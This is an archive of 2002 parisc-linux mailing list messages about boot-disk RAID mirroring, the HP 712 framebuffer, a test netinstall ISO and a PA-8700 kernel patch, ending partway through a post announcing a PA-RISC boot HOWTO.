NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:10 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: "joel.soete@freebel.net" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 07:11:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7E2C482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 07:11:08 -0600 (MDT)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.35 #1)
	id 17BEqT-0001eH-00; Fri, 24 May 2002 15:11:01 +0200
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <1022244947.3cee385378f63@webmail.tiscalinet.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14824

Joel

I did some playing with this some time ago. To have all filesystems under
md control then palo must understand two things:

1. how to read the md filesystem to get the kernel (can use the F0
partition for kernel to get round this)

2. how to use md / filesystem

AFAIK these 2 things just don't work right now & Paul Bame has other more
important things to do with palo right now.

The approach I take is to have a small / and small /boot as normal ext2
partitions & automatically copy these over to spare / & /boot filesystems
on mirror + hot spare disk each night. All other filesystems (including
swap) are on md. If I update the primary boot disk's F0 then I also
update the F0 slice on mirror & spare disks. If the primary boot disk
fails then the system will go down but then can boot off the mirror. Make
sure you set up PRI and ALT boot paths correctly if you want this to
happen automagically & make usre the script which copies / onto the
mirror/spare modifies /etc/fstab appropriately!

R.
PeteM

On Fri, 24 May 2002, joel.soete@freebel.net wrote:

> Hi all,
>
> I just find a spare disk for my b180 and would like to test md mirroring on my
> boot disk.
>
> I am just a bit affraided because Software-RAID-HOWTO mentioned that the
> persistent-superblock (requested for boot disk) is writen at the begining of disks.
>
> Is somebody has already test this config and raidtools2 ?
>
> Thanks in advance for info
>     Joel
>
>
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Framebuffer on the 712
Date: Fri, 24 May 2002 10:10:43 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <003701c20335$2c841980$02c1a8c0@james.co.uk>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621310 7484 80.91.229.3 (22 Nov 2014 01:55:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 09:10:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAFDF482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 09:10:45 -0600 (MDT)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout05.icomcast.net
 (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 13 2002))
 with SMTP id <0GWM002XIFHVFN@mtaout05.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Fri, 24 May 2002 11:10:43 -0400 (EDT)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14825

are the 712's only capable of 8 bit colour or  is it a limitation of the
frame buffer driver ?

just curious


James S




---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.363 / Virus Database: 201 - Release Date: 5/21/02




From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Framebuffer on the 712
Date: 24 May 2002 09:26:15 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <87adqpo9d4.fsf@rover.gag.com>
References: <003701c20335$2c841980$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621311 7486 80.91.229.3 (22 Nov 2014 01:55:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 09:26:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id C99FE482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 09:26:22 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 2DC1338083; Fri, 24 May 2002 09:26:15 -0600 (MDT)
In-Reply-To: <003701c20335$2c841980$02c1a8c0@james.co.uk>
Original-Lines: 8
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14826

smithjames@comcast.net (James S) writes:

> are the 712's only capable of 8 bit colour or  is it a limitation of the
> frame buffer driver ?

The 712's only do 8 bit color.

Bdale



From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New testing ISO available with recent boot-floppies
Date: Sat, 25 May 2002 02:19:38 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <19B02A72-6F75-11D6-9D55-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621311 7491 80.91.229.3 (22 Nov 2014 01:55:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:11 +0000 (UTC)
Cc: PA/Linux <parisc-linux@lists.parisc-linux.org>
To: rhirst@parisc-linux.org,
	Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 18:19:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BC72482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 18:19:40 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id EA1B449C5F; Sat, 25 May 2002 02:19:38 +0200 (CEST)
X-Mailer: Apple Mail (2.481)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14827

Hi fellows !

Thanks to the precious help of Richard Hirst, I finally succeeded in 
building a recent Woody Net Install iso, with the latest boot-floppies 
(3.0.23) and kernel (2.4.18-pa25) available.

It contains everything you need to boot a box and install from network, 
but mind that it is an TEST ISO, with development kernel, and that it 
has not yet been tested.

It is expected to boot the most recently supported hardware.

Please report any successful boot on newly supported machines.

You can download it from these locations:
ftp://ftp.parisc-linux.org/cd-
images/testing/palinux-2.4.18-pa25-20020524-netinst.iso
http://pateam.esiee.fr/download.html

Enjoy !


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New testing ISO available with recent boot-floppies
Date: Sat, 25 May 2002 02:33:18 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <02993B31-6F77-11D6-9D55-0030656F07A2@esiee.fr>
References: <001b01c20382$918a0a90$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621311 7499 80.91.229.3 (22 Nov 2014 01:55:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:11 +0000 (UTC)
Cc: PA/Linux <parisc-linux@lists.parisc-linux.org>
To: "Duraid Madina" <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 18:33:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38952482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 18:33:21 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 166D449C16; Sat, 25 May 2002 02:33:19 +0200 (CEST)
In-Reply-To: <001b01c20382$918a0a90$022a17ac@simplex>
X-Mailer: Apple Mail (2.481)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14828

Le samedi 25 mai 2002, =E0 02:24 , Duraid Madina a =E9crit :

> Does this new ISO include Grant's patch from yesterday, allowing =
booting
> on PA-8700 machines?
>
> If so, I will be sure to test it out!
>
> 	Duraid
>
>
Well, Grant told me that his patch is not comitted yet, and not ready to=20=

be.
When it will be ready, we'll consider rebuilding the ISO :o)


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: New testing ISO available with recent boot-floppies
Date: Fri, 24 May 2002 18:59:49 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20020525005949.369B6482A@dsl2.external.hp.com>
References: <19B02A72-6F75-11D6-9D55-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621312 7503 80.91.229.3 (22 Nov 2014 01:55:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:12 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 24 18:59:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 369B6482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 May 2002 18:59:49 -0600 (MDT)
In-Reply-To: Message from Thibaut VARENE <varenet@esiee.fr> 
   of "Sat, 25 May 2002 02:19:38 +0200." <19B02A72-6F75-11D6-9D55-0030656F07A2@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14829

Thibaut VARENE wrote:
> You can download it from these locations:
> ftp://ftp.parisc-linux.org/cd-images/testing/palinux-2.4.18-pa25-20020524-netinst.iso

I've copied the 20020524 test ISO to:
ftp://gsyprf10.external.hp.com/pub/cd-images/palinux-2.4.18-pa25-20020524-netinst.iso

Duraid Madina wrote:
> Does this new ISO include Grant's patch from yesterday, allowing
> booting on PA-8700 machines?

sba_pa8700 patch isn't committed yet for two reasons:
  o It's not tested on anything but the rp24xx. I'm convinced it will
    crash on other boxes.
  o I'm waiting for feedback on how to properly implement
    self-modifying code in the kernel or if it's just not worth it. 

Thibaut offered to respin the ISO (he knows how to do it now)
with -pa26 (or whatever sba_pa8700.diff becomes).
With that in mind, please don't download 20020524 ISO (736 MB) unless 
you really need it *now* or want to test it on your favorite box for us.

thanks,
grant



From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: New testing ISO available with recent boot-floppies
Date: Sat, 25 May 2002 08:27:27 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20020525072727.GR3471@sleepie.demon.co.uk>
References: <19B02A72-6F75-11D6-9D55-0030656F07A2@esiee.fr> <20020525005949.369B6482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621312 7506 80.91.229.3 (22 Nov 2014 01:55:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:12 +0000 (UTC)
Cc: PA/Linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 25 01:49:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 533AF482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 May 2002 01:49:54 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 0981A9E96D; Sat, 25 May 2002 08:27:27 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020525005949.369B6482A@dsl2.external.hp.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14830

On Fri, May 24, 2002 at 06:59:49PM -0600, Grant Grundler wrote:
> Thibaut VARENE wrote:
> Thibaut offered to respin the ISO (he knows how to do it now)
> with -pa26 (or whatever sba_pa8700.diff becomes).
> With that in mind, please don't download 20020524 ISO (736 MB) unless 

Out by a factor of 10 ;-)  it is 73MB

Richard




From - Thu Nov 08 21:22:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New testing ISO available with recent boot-floppies
Date: Sat, 25 May 2002 08:29:34 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20020525072934.GS3471@sleepie.demon.co.uk>
References: <19B02A72-6F75-11D6-9D55-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621312 7509 80.91.229.3 (22 Nov 2014 01:55:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:12 +0000 (UTC)
Cc: PA/Linux <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 25 01:52:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00707482F
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 May 2002 01:52:00 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 3786E9E96D; Sat, 25 May 2002 08:29:34 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <19B02A72-6F75-11D6-9D55-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14831

On Sat, May 25, 2002 at 02:19:38AM +0200, Thibaut VARENE wrote:
> It contains everything you need to boot a box and install from network, 

Just to clarify that, it is a 70MB ISO which includes everything you
need to install a minimal system from CD. If you want anything useful (C
compilers, X, etc) you need to install additional packages from the
network.

Richard




From - Thu Nov 08 21:22:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: New testing ISO available with recent boot-floppies
Date: Sat, 25 May 2002 09:37:02 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020525153702.8B184482C@dsl2.external.hp.com>
References: <19B02A72-6F75-11D6-9D55-0030656F07A2@esiee.fr>  <20020525005949.369B6482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621312 7512 80.91.229.3 (22 Nov 2014 01:55:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:12 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 25 09:37:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B184482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 May 2002 09:37:02 -0600 (MDT)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Fri, 24 May 2002 18:59:49 MDT." <20020525005949.369B6482A@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14832

Grant Grundler wrote:
> sba_pa8700 patch isn't committed yet for two reasons:
>   o It's not tested on anything but the rp24xx. I'm convinced it will
>     crash on other boxes.
>   o I'm waiting for feedback on how to properly implement
>     self-modifying code in the kernel or if it's just not worth it. 

I've decided to commit sba_pa870.diff as -pa26 w/o self modifying code.
It just didn't look like a perf improvement w/o getting really ugly.

...
> With that in mind, please don't download 20020524 ISO (736 MB) unless 

thanks Richard! (73MB) Forget my request; download all you want.

grant



From - Thu Nov 08 21:22:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <tmarteau@laas.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC/Linux boot HOWTO
Date: Sat, 25 May 2002 20:08:58 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <3CEFD33A.9010007@laas.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621313 7516 80.91.229.3 (22 Nov 2014 01:55:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:13 +0000 (UTC)
To: parisc linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 25 12:09:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from laas.laas.fr (laas.laas.fr [140.93.0.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B1B9482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 May 2002 12:09:01 -0600 (MDT)
Original-Received: from laas.fr (raptor [140.93.21.82])
	by laas.laas.fr (8.12.3/8.12.3) with ESMTP id g4PI8wiW000176
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 May 2002 20:08:59 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020314
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14833

Hi all,

	I just released my sgml source of the HOWTO on my CVS. So, if you want to 
see the latest version of the HOWTO go there:
http://cvsweb.tuxfamily.org/cvs/?cvsroot=hppa#dirlist

You'll see the english and the french version of the howto. I plan to 
release next step with Debian 3.0.

You can retrieve the files:
export CVSROOT=:pserver:marteaut@cvs.tuxfamily.org:/cvsroot/hppa
